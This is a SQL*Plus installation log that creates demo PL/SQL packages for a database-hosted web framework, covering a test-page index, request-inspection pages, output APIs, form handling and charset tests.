235 x.p(' <div.node>', hd2 || x.a('<a>', 'session login', 'session_b.login_form'));
236 x.c('</div>');
237
238 x.p('<div.node>', hd1 || x.p('<b>', 'term_b'));
239 x.o('<div.branch.collapse>');
240 x.p(' <div.node>', hd2 || x.a('<a>', 'setting_form', 'term_b.setting_form'));
241 x.c('</div>');
242
243 x.p('<div.node>', hd1 || x.p('<b>', 'auth_b'));
244 x.o('<div.branch.collapse>');
245 x.p(' <div.node>', hd2 || x.a('<a>', 'basic', 'auth_b.basic'));
246 x.p(' <div.node>', hd2 || x.a('<a>', 'digest', 'auth_b.digest'));
247 x.p(' <div.node>', hd2 || x.a('<a>', 'cookie_gac', 'auth_b.cookie_gac'));
248 x.p(' <div.node>', hd2 || x.a('<a>', 'protected_page', 'auth_b.protected_page'));
249 x.p(' <div.node>', hd2 || x.a('<a>', 'basic_and_cookie', 'auth_b.basic_and_cookie'));
250 x.c('</div>');
251
252 x.c('</div>');
253 end;
254
255 x.p('<div.node>', hd1 || x.p('<b>', 'app modes'));
256 x.o('<div.branch.collapse>');
257 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'view packages', 'po_content_b.packages'));
258 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'bootstrap', 'bootstrap_b.packages'));
259 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'frameset container', 'po_frameset_b.main'));
260 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'iframe container', 'po_iframe_b.main'));
261 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'ajaxload containver', 'po_ajaxload_b.main'));
262 x.c('</div>');
263
264 x.p('<div.node>', hd1 || x.p('<b>', 'oracle xml/json support'));
265 begin
266 x.o('<div.branch.collapse>');
267 x.p('<div.node>', hd1 || x.p('<b>', 'oracle xml'));
268 x.o('<div.branch.collapse>');
269 x.p(' <div.node>', hd2 || x.a('<a>', 'xmlgen_str', 'xml_page_b.xmlgen_str'));
270 x.p(' <div.node>', hd2 || x.a('<a>', 'xmlgen_cur', 'xml_page_b.xmlgen_cur'));
271 x.p(' <div.node>', hd2 || x.a('<a>', 'xmlgen_hier', 'xml_page_b.xmlgen_hier'));
272 x.p(' <div.node>', hd2 || x.a('<a>', 'sql_users', 'xml_page_b.sql_users'));
273 x.p(' <div.node>', hd2 || x.a('<a>', 'xml_users_css', 'xml_page_b.xml_users_css'));
274 x.p(' <div.node>', hd2 || x.a('<a>', 'xml_users_xsl_cli', 'xml_page_b.xml_users_xsl_cli'));
275 x.c('</div>');
276
277 x.p('<div.node>', hd1 || x.p('<b>', 'oracle json'));
278 x.c('</div>');
279 end;
280
281 x.p('<div.node>', hd1 || x.p('<b>', 'advanced SQL'));
282 begin
283 x.o('<div.branch.collapse>');
284 x.p('<div.node>', hd1 || x.p('<b>', 'reports'));
285 x.o('<div.branch.collapse>');
286 x.p(' <div.node>', hd2 || x.a('<a>', 'emp_managers(hierachical)', 'aggregation_b.emp_managers'));
287 x.p(' <div.node>', hd2 || x.a('<a>', 'emp_salaries(simple rollup)', 'aggregation_b.emp_salaries'));
288 x.p(' <div.node>', hd2 || x.a('<a>', 'emp_groups_list(complex rollup)', 'aggregation_b.emp_groups_list'));
289 x.p(' <div.node>', hd2 || x.a('<a>', 'job_dept_sals(cube)', 'aggregation_b.job_dept_sals'));
290 x.p(' <div.node>', hd2 || x.a('<a>', 'dept_job_sals(cube)', 'aggregation_b.dept_job_sals'));
291 x.c('</div>');
292 x.p('<div.node>', hd1 || x.p('<b>', 'analytic SQL'));
293 x.p('<div.node>', hd1 || x.p('<b>', 'datawarehouse SQL'));
294 x.p('<div.node>', hd1 || x.p('<b>', 'statictic SQL'));
295 x.p('<div.node>', hd1 || x.p('<b>', 'OLAP'));
296 x.c('</div>');
297 end;
298
299 x.p('<div.node>', hd1 || x.p('<b>', '3rd-party js/css lib integration'));
300 begin
301 x.o('<div.branch.collapse>');
302
303 x.p('<div.node>', hd1 || x.p('<b>', 'UI lib'));
304 x.o('<div.branch.collapse>');
305 x.p(' <div.node>', hd2 || x.a('<a>', 'bootstrap', 'bootstrap_b.packages'));
306 x.p(' <div.node>', hd2 || x.a('<a>', 'semantic UI', 'semantic_ui_b.d'));
307 x.p(' <div.node>', hd2 || x.a('<a>', 'purecss', 'purecss_b.d'));
308 x.p(' <div.node>', hd2 || x.a('<a>', 'jQuery ui', 'jquery_ui_b.d'));
309 x.p(' <div.node>', hd2 || x.a('<a>', 'jQuery mobile', 'jquery_mobile_b.d'));
310 x.c('</div>');
311
312 x.p('<div.node>', hd1 || x.p('<b>', 'chart'));
313 x.o('<div.branch.collapse>');
314 x.p(' <div.node>', hd1 || x.p('<b>', 'chart.js'));
315 x.o(' <div.branch.collapse>');
316 x.p(' <div.node>', hd2 || x.a('<a>', 'salary min/max by job_id', 'chart_b.salary_min_max_by_job_id'));
317 x.p(' <div.node>', hd2 || x.a('<a>', 'salary share by job_id', 'chart_b.salary_share_by_job_id'));
318 x.c(' </div>');
319 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'd3', 'https://github.com/mbostock/d3/wiki/Gallery'));
320 x.p(' <div.node>', hd2 || x.a('<a target=_blank>', 'hcharts', 'http://www.hcharts.cn/'));
321 x.c('</div>');
322
323 x.p('<div.node>', hd1 || x.p('<b>', 'icons'));
324 x.o('<div.branch.collapse>');
325 x.p(' <div.node>', hd2 || x.a('<a>', 'material design icons', 'icon_b.material_design_icons'));
326 x.p(' <div.node>', hd2 || x.a('<a>', 'bootstrap_material_design', 'icon_b.bootstrap_material_design'));
327 x.p(' <div.node>', hd2 || x.a('<a>', 'ionicons', 'icon_b.ionicons'));
328 x.c('</div>');
329
330 x.p('<div.node>', hd1 || x.p('<b>', 'tables/grid/edit'));
331 x.o('<div.branch.collapse>');
332 x.p(' <div.node>', hd2 || x.a('<a>', 'x-editable', 'tables_h.xeditable'));
333 x.p(' <div.node>', hd2 || x.a('<a>', 'handsontable', 'tables_h.handsontable'));
334 x.p(' <div.node>', hd2 || x.a('<a>', 'datatables', 'tables_h.datatables'));
335 x.c('</div>');
336
337 x.c('</div>');
338 end;
339
340 x.p('<div.node>', hd1 || x.p('<b>', 'none functional'));
341 begin
342 x.o('<div.branch.collapse>');
343
344 x.p('<div.node>', hd1 || x.p('<b>', 'client/gateway cache'));
345 x.o('<div.branch.collapse>');
346 x.p(' <div.node>', hd2 || x.a('<a>', 'expires', 'cache_b.expires'));
347 x.p(' <div.node>', hd2 || x.a('<a>', 'last_modified', 'cache_b.last_modified'));
348 x.p(' <div.node>', hd2 || x.a('<a>', 'last_scn', 'cache_b.last_scn'));
349 x.p(' <div.node>', hd2 || x.a('<a>', 'etag_md5', 'cache_b.etag_md5'));
350 x.p(' <div.node>', hd2 || x.a('<a>', 'report_by_hour', 'cache_b.report_by_hour'));
351 x.c('</div>');
352
353 x.p('<div.node>', hd1 || x.p('<b>', 'proformance test'));
354 x.o('<div.branch.collapse>');
355 x.p(' <div.node>', hd2 || x.a('<a>', 'output any kb', 'basic_io_b.any_size?size=10'));
356 x.p(' <div.node>', hd2 || x.a('<a>', 'css_prof_b', 'css_prof_b.main'));
357 x.p(' <div.node>', hd2 || x.a('<a>', 'empty html', 'performance_b.empty_html'));
358 x.p(' <div.node>', hd2 || x.a('<a>', 'no PL/SQL', '/_about'));
359 x.c('</div>');
360 x.c('</div>');
361 end;
362
363 end;
364
365 procedure page is
366 begin
367 pc.h;
368 x.p('<p>', 'The left frame is entrance to all the test pages');
369 end;
370
371 end index_b;
372 /
Warning: Package Body created with compilation errors.
SQL>
SQL> prompt
SQL> prompt Creating package ORA_GOOD_B
Creating package ORA_GOOD_B
SQL> prompt ===========================
===========================
SQL> prompt
SQL> @@ora_good_b.spc
SQL> create or replace package ora_good_b is
2
3 procedure entry;
4
5 end ora_good_b;
6 /
Package created.
SQL> @@ora_good_b.bdy
SQL> create or replace package body ora_good_b is
2
3 procedure entry is
4 begin
5 x.t('<DOCTYPE html>');
6 x.o('<html>');
7 x.o('<head>');
8 x.o(' <style>');
9 b.line('dt{margin:0.5em;}');
10 b.line('dt:before{content:"[ "}');
11 b.line('dt:after{content:" ]"}');
12 b.line('dd{line-height:1.5em;}');
13 b.line('h3,h4{text-align:center;}');
14 x.c(' </style>');
15 x.c('</head>');
16 x.o('<body>');
17 x.p('<h3>', 'Using oracle pl/sql as application layer language has many goods');
18 x.p('<h4>', 'That can not be obtained for other none stored procesure languanges');
19 x.p('<h4>', 'And plsql developer is a very good IDE of PL/SQL and PSP.WEB compare to other IDE of other lang ');
20 x.o('<dl>');
21 x.p('<dt>', 'TABLE%ROWTYPE');
22 x.p('<dd>',
23 'You can use table%rowtype to easily define your local and package variables,' ||
24 ' and use rowtype variables in sql binding, and not need to redefine your data structure when row structure changed ' ||
25 ' for example ' || x.a('<a target=_blank>', 'user_c.register', 'src_b.proc?p=user_c.register'));
26
27 x.p('<dt>', 'PACKAGED CURSUR');
28 x.p('<dd>', 'packaged cursur just like a function, but can used direct in for-loop.');
29 x.p('<dd>', 'I''t a good way to support incapsulation to query sql code.');
30
31 x.p('<dt>', 'REF CURSUR');
32 x.p('<dd>',
33 'You can design API that accept ref-cursor to reuse the procesing of result set generated from different code.');
34 x.p('<dd>', 'I''t a good way to support incapsulation to result-set processing.');
35
36 x.p('<dt>', 'TABLE FUNCTION');
37 x.p('<dd>', 'So you can generate a result set from any data source and any way.');
38 x.p('<dd>', 'And you can pipeline the table function and use them in sql as a table do.');
39
40 x.p('<dt>', 'TRIGGER');
41 x.p('<dd>', 'So you can detect table data change and invoke your pl/sql.');
42 x.p('<dd>',
43 'If you use java or some of the many none store procedure languages, how could you react to data change.');
44
45 x.p('<dt>', 'PACKAGE VARIABLE');
46 x.p('<dd>',
47 'With a request processing, You can set your data in PV(package variable) and access them at all line of codewhen processing the request .');
48 x.p('<dd>',
49 'So you avoid to transfer the data through parameters, you treat them as a environment variables for the request.');
50 x.p('<dd>',
51 'If you use java or some of the many none store procedure languages, how could you react to data change.');
52
53 x.p('<dt>', 'RESULT CACHE FUNCTION');
54 x.p('<dd>', 'You can result cache function to cache result-set in memory, and avoid frequent table read.');
55 x.p('<dd>',
56 'One step futher, you can use versioned row rc func with kv, so you can detect row change well using rc func.');
57 x.p('<dd>',
58 'see ' || x.a('<a target=_blank>', 'term_b.setting_form', 'src_b.proc?p=term_b.setting_form') || ' and ' ||
59 x.a('<a target=_blank>', 'term_b.setting_save', 'src_b.proc?p=term_b.setting_save') || ' and ' ||
60 x.a('<a target=_blank>', 'rc.set_term_info', 'src_b.proc?p=rc.set_term_info'));
61 x.c('</dl>');
62 x.c('</body>');
63 x.c('</html>');
64 end;
65
66 end ora_good_b;
67 /
Package body created.
SQL>
SQL> prompt
SQL> prompt Creating package BASIC_IO_B
Creating package BASIC_IO_B
SQL> prompt ===========================
===========================
SQL> prompt
SQL> @@basic_io_b.spc
SQL> create or replace package basic_io_b is
2
3 procedure req_info;
4
5 procedure output;
6
7 procedure parameters;
8
9 procedure keep_urlencoded;
10
11 procedure steps;
12
13 procedure any_size;
14
15 procedure appended;
16
17 end basic_io_b;
18 /
Package created.
SQL> @@basic_io_b.bdy
SQL> create or replace package body basic_io_b is
2
3 function name_pattern(name varchar2) return varchar2 is
4 begin
5 if substrb(name, 2, 2) = '$$' then
6 return substrb(name, 1, 3);
7 elsif substrb(name, 2, 1) = '$' then
8 return substrb(name, 1, 2);
9 elsif substrb(name, 1, 1) = '[' then
10 return '[]';
11 else
12 return '*';
13 end if;
14 end;
15
16 procedure req_info is
17 n varchar2(100);
18 v varchar2(999);
19 va st;
20 sn varchar2(3) := '';
21 topic varchar2(30) := r.getc('topic', '%');
22 begin
23 b.set_line_break(chr(10));
24 src_b.header;
25 x.p('<style>', 'hr{margin:2em 0 1em;}');
26 b.line('<pre>');
27
28 if 'param' like topic then
29 b.line('## request parameter that may be got from the following ways');
30 b.line('1. query string');
31 b.line('2. post with application/x-www-form-urlencoded');
32 b.line('3. post with multipart/form-data');
33 b.line;
34 x.a('<a>', 'get/post form demo', '@b.parameters');
35 x.a('<a>', 'post json demo', './post_file_b.ajax_post_json');
36 x.a('<a>', 'form multipart/form-data demo', './post_file_b.upload_form');
37 b.line;
38 n := ra.params.first;
39 loop
40 exit when n is null;
41 if lengthb(n) < 2 or (substrb(n, 2, 1) != '$' and substrb(n, 1, 1) != '[') then
42 va := ra.params(n);
43 b.line(sn || n || ' : [' || t.join(va, ', ') || ']');
44 for i in 1 .. va.count loop
45 b.line(sn || ' ' || i || '. ' || r.unescape(va(i)));
46 end loop;
47 end if;
48 n := ra.params.next(n);
49 end loop;
50 end if;
51
52 if 'url' like topic then
53 x.t('<hr/>');
54 b.line('## basic request info derived from http request line and http header host');
55 b.line('');
56 b.line('r.method : ' || r.method);
57 b.line('r.url : ' || r.url);
58 b.line('');
59 b.line('r.url_full : ' || r.url_full);
60 b.line('r.dir_full : ' || r.dir_full);
61 b.line('');
62 b.line('r.site : ' || r.site);
63 b.line(' r.protocol(false) : ' || r.protocol(false));
64 b.line(' r.protocol(true) : ' || r.protocol(true));
65 b.line(' r.host : ' || r.host);
66 b.line(' r.hostname : ' || r.hostname);
67 b.line(' r.sdns : ' || r.sdns);
68 b.line(' r.pdns : ' || r.pdns);
69 b.line(' r.port : ' || r.port);
70 b.line('');
71 b.line('r.path : ' || r.path);
72 b.line(' r.pathname : ' || r.pathname);
73 b.line(' r.dir : ' || r.dir);
74 b.line(' r.prog : ' || r.prog);
75 b.line(' r.pack : ' || r.pack);
76 b.line(' r.proc : ' || r.proc);
77 b.line(' r.type : ' || r.type);
78 b.line(' r.is_readonly : ' || t.tf(r.is_readonly, 'true', 'false'));
79 b.line(' r.subpath : ' || r.subpath);
80 b.line(' r.search : ' || r.search);
81 b.line(' r.qstr : ' || r.qstr);
82 end if;
83
84 if 'exec' like topic then
85 x.t('<hr/>');
86 b.line('## core excution NV');
87 b.line;
88 b.line('x$dbu|r.dbu : ' || r.dbu);
89 b.line('x$prog|r.prog : ' || r.prog);
90 b.line('x$before : ' || r.getc('x$before'));
91 b.line('x$after : ' || r.getc('x$after'));
92 end if;
93
94 if 'session' like topic then
95 x.t('<hr/>');
96 b.line('## session related info');
97 b.line;
98 x.a('<a>', 'link to protected page who require logged-in session', './auth_b.protected_page');
99 b.line('r.bsid : ' || r.bsid);
100 b.line('r.msid : ' || r.msid);
101 b.line('r.gid : ' || r.gid);
102 b.line('r.uid : ' || r.uid);
103 b.line('s$ : ' || r.getc('s$'));
104 b.line('r.idle : ' || r.idle);
105 b.line('r.lat : ' || r.lat);
106 n := ra.params.first;
107 loop
108 exit when n is null;
109 if substrb(n, 1, 3) like 's$_' then
110 tmp.stv := ra.params(n);
111 b.line(sn || n || ' : [' || t.join(tmp.stv, ', ') || ']');
112 end if;
113 n := ra.params.next(n);
114 end loop;
115 end if;
116
117 if 'link' like topic then
118 x.t('<hr/>');
119 b.line('## file/link related info');
120 b.line;
121 b.line('r.file : if static url mapped to lob stored in oracle database other than external filesystem file' ||
122 r.file);
123 n := ra.params.first;
124 loop
125 exit when n is null;
126 if n like 'l$%' then
127 b.line(sn || n || ' : ' || r.getc(n));
128 end if;
129 n := ra.params.next(n);
130 end loop;
131 end if;
132
133 if 'charset' like topic then
134 x.t('<hr/>');
135 b.line('## charset info');
136 b.line;
137 b.line('## charset related');
138 b.line('h.charset : ' || h.charset);
139 --b.line('r.req_charset_db : ' || t.tf(r.req_charset_db));
140 --b.line('r.req_charset_ndb : ' || t.tf(r.req_charset_ndb));
141 --b.line('r.req_charset_utf8 : ' || t.tf(r.req_charset_utf8));
142 end if;
143
144 if 'infra' like topic then
145 x.t('<hr/>');
146 b.line('## infrastucture info');
147 b.line;
148 b.line('r.database_role : ' || r.database_role);
149 b.line('r.db_unique_name : ' || r.db_unique_name);
150 b.line('r.instance : ' || r.instance);
151 b.line('r.cfg : ' || r.cfg);
152 b.line('r.slot : ' || r.slot);
153 b.line('r.cid|b$cid : ' || r.cid);
154 b.line('r.cslot|b$cslot : ' || r.cslot);
155 end if;
156
157 if 'header2' like topic then
158 h.header('etag', '"BASIC_IO_B.V1"');
159 h.last_modified((sysdate));
160 x.t('<hr/>');
161 b.line('## basic request info derived from http header');
162 b.line;
163 x.a('<a>', 'link to page who require http basic authorization', './auth_b.basic');
164 b.line(q'|r.header('authorization') : |' || r.header('authorization'));
165 b.line(q'|r.getc('h$authorization') : |' || r.getc('h$authorization'));
166 b.line('r.user : ' || r.user);
167 b.line('r.pass : ' || r.pass);
168 b.line('r.ua : ' || r.ua);
169 b.line('r.referer : ' || r.referer);
170 b.line('r.referer2 : ' || r.referer2);
171 b.line('r.is_xhr : ' || t.tf(r.is_xhr, 'true', 'false'));
172 b.line('r.is_readonly : ' || t.tf(r.is_readonly, 'true', 'false'));
173 b.line('r.etag : ' || r.etag);
174 b.line('r.lmt : ' || r.lmt);
175 end if;
176
177 if 'addr' like topic then
178 x.t('<hr/>');
179 b.line('## client/server address from TCP socket or x-forwarded-* headers');
180 b.line;
181 b.line('r.protocol(false) : ' || r.protocol(false));
182 b.line('r.protocol(true) : ' || r.protocol(true));
183 b.line('r.host : ' || r.host);
184 b.line('r.client_addr(false) : ' || r.client_addr(false));
185 b.line('r.client_port(false) : ' || r.client_port(false));
186 b.line('r.client_addr(true) : ' || r.client_addr(true));
187 b.line('r.client_port(true) : ' || r.client_port(true));
188 b.line('r.server_family : ' || r.server_family);
189 b.line('r.server_addr : ' || r.server_addr);
190 b.line('r.server_port : ' || r.server_port);
191 n := ra.params.first;
192 loop
193 exit when n is null;
194 if n like 'h$$x-forwarded%' then
195 tmp.stv := ra.params(n);
196 b.line(sn || n || ' : [' || t.join(tmp.stv, ', ') || ']');
197 end if;
198 n := ra.params.next(n);
199 end loop;
200 end if;
201
202 if 'header' like topic then
203 x.t('<hr/>');
204 b.line('## original http request headers exclude cookies');
205 b.line;
206 n := ra.params.first;
207 loop
208 exit when n is null;
209 if n like 'h$%' and n not like 'h$$%' then
210 v := ra.params(n) (1);
211 b.line(sn || n || ' : ' || v);
212 end if;
213 n := ra.params.next(n);
214 end loop;
215 end if;
216
217 if 'accept' like topic then
218 x.t('<hr/>');
219 b.line('## all http request headers for content negotiation');
220 b.line;
221 n := ra.params.first;
222 loop
223 exit when n is null;
224 if n like 'h$accept%' then
225 tmp.stv := ra.params(n);
226 b.line(sn || n || ' : [' || t.join(tmp.stv, ', ') || ']');
227 end if;
228 n := ra.params.next(n);
229 end loop;
230 b.line;
231 n := ra.params.first;
232 loop
233 exit when n is null;
234 if n like 'h$$accept%' then
235 tmp.stv := ra.params(n);
236 b.line(sn || n || ' : [' || t.join(tmp.stv, ', ') || ']');
237 end if;
238 n := ra.params.next(n);
239 end loop;
240 end if;
241
242 if 'array' like topic then
243 x.t('<hr/>');
244 b.line('## all http request headers parsed to array');
245 b.line;
246 n := ra.params.first;
247 loop
248 exit when n is null;
249 if n like 'h$$%' then
250 tmp.stv := ra.params(n);
251 b.line(sn || n || ' : [' || t.join(tmp.stv, ', ') || ']');
252 end if;
253 n := ra.params.next(n);
254 end loop;
255 end if;
256
257 if 'cookie' like topic then
258 x.t('<hr/>');
259 b.line('## This is all http request cookies');
260 b.line;
261 x.a('<a>', 'link to page who set/view cookies', './cookie_h.form_view');
262 n := ra.params.first;
263 loop
264 exit when n is null;
265 if n like 'c$%' then
266 v := ra.params(n) (1);
267 b.line(sn || n || ' : ' || v);
268 end if;
269 n := ra.params.next(n);
270 end loop;
271 end if;
272
273 if 'all' like topic then
274 x.t('<hr/>');
275 b.line('## all request name-value pairs');
276 b.line;
277 n := ra.params.first;
278 tmp.s := name_pattern(n);
279 loop
280 exit when n is null;
281 va := ra.params(n);
282 if va.count = 1 then
283 b.line(sn || n || ' : ' || va(1));
284 else
285 b.line(sn || n || ' : [' || t.join(va, ', ') || ']');
286 end if;
287 n := ra.params.next(n);
288 if name_pattern(n) != tmp.s then
289 b.line;
290 tmp.s := name_pattern(n);
291 end if;
292 end loop;
293 end if;
294
295 b.line('</pre>');
296 end;
297
298 procedure output is
299 begin
300 b.set_line_break(chr(10));
301 src_b.header;
302 b.line('<pre>');
303
304 b.line('Basic output include the following APIs');
305 b.line('b.write(text) : write text to http entity content');
306 b.line('b.writeln(text) : write text and newline character(s) to http entity content');
307 b.line('b.string(text) : write text to http entity content');
308 b.line('b.line(text) : write text and newline character(s) to http entity content');
309 b.line('b.set_line_break(nlbr) : set the newline break character(s), usually LF,CR,CRLF');
310
311 b.line;
312 b.write('output by b.write');
313 b.writeln('output by b.writeln');
314 b.string('output by b.string');
315 b.line('output by b.line');
316
317 b.line;
318 b.line('b.write = b.string, they are just alias each other');
319 b.line('b.writeln = b.line, they are just alias each other');
320
321 b.line;
322 b.line('line break can be set using b.set_line_break()');
323 b.set_line_break(chr(10));
324 b.line('This is line end with line break chr(10) or LF');
325 b.set_line_break(chr(13));
326 b.line('This is line end with line break chr(13) or CR');
327 b.set_line_break(chr(13) || chr(10));
328 b.line('This is line end with line break chr(13)||chr(10) or CRLF');
329 b.line('</pre>');
330 end;
331
332 procedure parameters is
333 begin
334 src_b.header;
335 x.t('<br/>');
336 x.f('<form name=f,method=get>', '@b.req_info?topic=param&p1=1&p2=2');
337 x.o(' <select name=mtd>');
338 x.p(' <option>', 'get');
339 x.p(' <option>', 'post');
340 x.c(' </select>');
341 x.p(' <script>', 'document.f.mtd.onchange=function(){document.f.method = this.value;};');
342 x.v(' <input type=hidden,name=topic>', 'param');
343 x.s(' <input type=text,name=p1,value=1>');
344 x.s(' <input type=text,name=p1,value=2>');
345 x.s(' <input type=submit>');
346 x.c('</form>');
347 x.t('<br/>');
348 x.p('<p>', 'Method get will erase the query string in form.action.');
349 x.p('<p>',
350 'Method post will keep the query string in form.action but replace the parameter in qstr if there are same named form items.');
351 end;
352
353 procedure keep_urlencoded is
354 begin
355 pc.h;
356 src_b.header;
357 x.t('<br/>');
358 x.f('<form name=f,method=get>', '@b.req_info');
359 x.o(' <select name=mtd>');
360 x.p(' <option>', 'get');
361 x.p(' <option>', 'post');
362 x.c(' </select>');
363 x.p(' <script>', 'document.f.mtd.onchange=function(){document.f.method = this.value;};');
364 x.s(' <input type=hidden,name=topic,value=param>');
365 x.v(' <input type=text,name=_qstr1>', nvl(r.qstr, 'a=1&b=2'));
366 x.v(' <input type=text,name=_qstr2>', nvl(r.qstr, 'a=3&b=4'));
367 x.s(' <input type=text,name=p1,value=1>');
368 x.s(' <input type=text,name=p1,value=2>');
369 x.s(' <input type=submit>');
370 x.c('</form>');
371 end;
372
373 procedure steps is
374 no pls_integer := r.getn('step_no', 0) + 1;
375 n varchar2(100);
376 begin
377 src_b.header;
378 x.p('<h3>', 'already filled items');
379 n := ra.params.first;
380 loop
381 exit when n is null;
382 if substrb(n, 2, 1) = '$' then
383 null;
384 else
385 x.p('<p>', n || ' : ' || r.dump(n, true));
386 end if;
387 n := ra.params.next(n);
388 end loop;
389 x.t('<hr/>');
390 if r.is_lack('commit') then
391 -- delete from params, so not keep step_no to next step
392 r.del('step_no');
393 x.f('<form method=post>', r.prog);
394 x.v(' <input readonly type=text,name=_saves>', r.vqstr);
395 x.t(' <br/>');
396 x.v(' <input readonly type=text,name=step_no>', no);
397 x.s(' <input type=text,name=p:1,value=1>', st(no));
398 x.s(' <input type=submit,value=next>');
399 x.s(' <input type=submit,name=commit,value=commit>');
400 x.c('</form>');
401 else
402 x.p('<h3>', 'all steps complete, commit all collected infomation ok!');
403 end if;
404 end;
405
406 procedure any_size is
407 v_size number(8) := r.getn('size', 0);
408 v_chunk varchar2(1024) := rpad('H', 1024, '.');
409 begin
410 k_debug.set_run_comment('size:' || v_size);
411 h.content_encoding_identity;
412 src_b.header;
413 for i in 1 .. v_size loop
414 b.write(v_chunk);
415 end loop;
416 end;
417
418 procedure appended is
419 v_prefix varchar2(100) := upper(r.getc('prefix'));
420 begin
421 src_b.header;
422 b.line('<h1>object list prefixed with "' || v_prefix || '"</h1>');
423 x.f('<form method=post>', r.prog);
424 x.v(' <input type=text,name=prefix>', v_prefix);
425 x.s(' <input type=submit>');
426 x.c('</form>');
427 b.save_pointer;
428 for i in (select *
429 from user_objects a
430 where a.object_name like v_prefix || '%'
431 and rownum <= 3) loop
432 b.line('<p>' || i.object_name || ' - ' || i.object_type || '</p>');
433 end loop;
434 if b.not_appended then
435 b.line('<h4>no objects whose name is prefixed by ' || v_prefix || '</h4>');
436 end if;
437 end;
438
439 end basic_io_b;
440 /
Package body created.
SQL>
SQL>
SQL> prompt
SQL> prompt Creating package CHARSET_B
Creating package CHARSET_B
SQL> prompt ==========================
==========================
SQL> prompt
SQL> @@charset_b.spc
SQL> create or replace package charset_b is
2
3 procedure form;
4
5 procedure test;
6
7 end charset_b;
8 /
Package created.
SQL> @@charset_b.bdy
SQL> create or replace package body charset_b is
2
3 -- utl_i18n.string_to_raw(n'none-ascii string', 'AL32UTF8')
4
5 procedure form is
6 v_src varchar2(200) := 'E3818DCEA609D8A6D985D8B9D8AAD8AFD984E184ACE1B4ABE1BC8EE3818EE3839E';
7 ncstr nvarchar2(100) := utl_i18n.raw_to_nchar(hextoraw(v_src), 'AL32UTF8');
8 v_ch nvarchar2(100) := utl_i18n.raw_to_nchar('E4B8ADE69687', 'AL32UTF8');
9 v_raw raw(4000);
10 vc varchar2(100);
11 nvc nvarchar2(100);
12 begin
13
14 ncstr := utl_i18n.raw_to_nchar(hextoraw(v_src), 'AL32UTF8');
15
16 -- h.content_type(charset => 'GBK');
17 h.allow_get_post;
18 --h.header_close;
19 pc.h(title => ncstr);
20 src_b.link_proc;
21 x.t('<br/>');
22
23 x.p('<style>', 'div { border:1px dotted gray;margin:1em;padding:1em;}');
24
25 x.p('<h3>', 'basic output API for nvarchar2');
26 x.o('<div>');
27
28 b.write('b.write : ');
29 b.write(ncstr);
30 b.line('<br/>');
31
32 b.write('b.writeln : ');
33 b.writeln(ncstr);
34 b.line('<br/>');
35
36 b.write('b.string : ');
37 b.string(ncstr);
38 b.line('<br/>');
39
40 b.write('b.line : ');
41 b.line(ncstr);
42 b.line('<br/>');
43
44 b.write('x.t : ');
45 x.t(ncstr);
46 b.line('<br/>');
47
48 x.c('</div>');
49
50 x.p('<h3>', 'other tag API using nvarchar2');
51 x.o('<div>');
52 b.write('x.p : ');
53 x.p('<p>', ncstr);
54 x.c('</div>');
55
56 x.p('<h3>', 'function tag API using nvarchar2');
57 x.o('<div>');
58 b.write('x.p using function API: ');
59 x.p('<p>', x.p('<span>', ncstr));
60 b.write('x.a using function API: ');
61 x.p('<p>', x.a('<a>', ncstr, n'form?a=' || ncstr));
62 x.c('</div>');
63
64 x.t('<br/>');
65 x.p('<p>', utl_raw.cast_to_raw(substr(ncstr, 1, 1)));
66 --x.p('<p>', utl_raw.cast_to_raw(convert(substr(v_str, 1, 1), 'AL32UTF8')));
67
68 -- r.req_charset_utf8;
69 x.p('<h3>', 'request parameters');
70 x.o('<div>');
71 x.p(' <p>', n'url = ' || r.getc('url', 'null'));
72 x.p(' <p>', n'ch = ' || r.getc('ch', 'null'));
73 x.p(' <p>', n'en = ' || r.getc('en', 'null'));
74 x.p(' <p>', n'utf r.getc() func = ' || r.getc('utf', 'null'));
75 vc := r.getc('utf', 'null');
76 x.p(' <p>', n'utf r.getc() procedure varchar2 = ' || vc);
77 nvc := r.getnc('utf', 'null');
78 x.p(' <p>', n'utf r.getc() procedure nvarchar2 = ' || nvc);
79 x.c('</div>');
80
81 x.p('<h3>', 'APIs that can specify what charset to use for request parameter parsing');
82 x.o('<div>');
83 x.p(' <p>', 'h.content_type(charset) : set both the output charset and request charset.');
84 x.p(' <p>', 'r.req_charset(cs) : set request charset by "cs".');
85 x.p(' <p>', 'r.req_charset_utf8 : set request charset by "utf-8", it''s the default.');
86 x.p(' <p>', 'r.req_charset_db : set request charset as the db varchar2 used charset.');
87 x.p(' <p>', 'You can use form''s accept-charset=xxx attribure to specify what charset will the form submit use.');
88 x.c('</div>');
89
90 -- basic_io_b.req_info
91 x.f('<form name=f,method=post>', '@b.form'); -- accept-charset="gbk"
92 x.v(' <input type=text,name=url>', 'http://www.google.com?q=HELLO');
93 x.v(' <input type=ch,name=url>', v_ch);
94 x.v(' <input type=text,name=en>', 'english');
95 x.v(' <input type=text,name=utf>', ncstr);
96 x.s(' <input type=submit>');
97 x.c('</form>');
98
99 x.p('<script>', 'f.onsubmit = function(){}');
100 end;
101
102 procedure test is
103 v_liyong nvarchar2(100) := utl_i18n.raw_to_nchar('E69D8EE58B87', 'AL32UTF8');
104 begin
105 --h.content_type('text/html', 'utf-8');
106 h.content_type('text/html', 'GBK');
107 -- h.content_encoding_try_zip;
108 h.content_encoding_identity;
109 pc.h;
110 x.p('<p>', v_liyong);
111 x.a('<a>', v_liyong, '@b.test?name=' || v_liyong);
112 x.f('<form method=get>', '@b.test');
113 x.v(' <input type=submit,name=name>', v_liyong);
114 x.c('</form>');
115 return;
116 for i in 1 .. 1000 loop
117 for j in 1 .. 20 loop
118 x.p('<p>', v_liyong);
119 end loop;
120 b.line('<br/>');
121 -- b.flush;
122 if false and mod(i, 100) = 0 then
123 dbms_lock.sleep(1);
124 end if;
125 end loop;
126 end;
127
128 end charset_b;
129 /
Package body created.
SQL> prompt
SQL> prompt Creating package NEGOTIATION_B
Creating package NEGOTIATION_B
SQL> prompt ==============================
==============================
SQL> prompt
SQL> @@negotiation_b.spc
SQL> create or replace package negotiation_b is
2
3 procedure languages_by_browser;
4
5 procedure accepts_best_match;
6
7 end negotiation_b;
8 /
Package created.
SQL> @@negotiation_b.bdy
SQL> create or replace package body negotiation_b is
2
3 procedure languages_by_browser is
4 begin
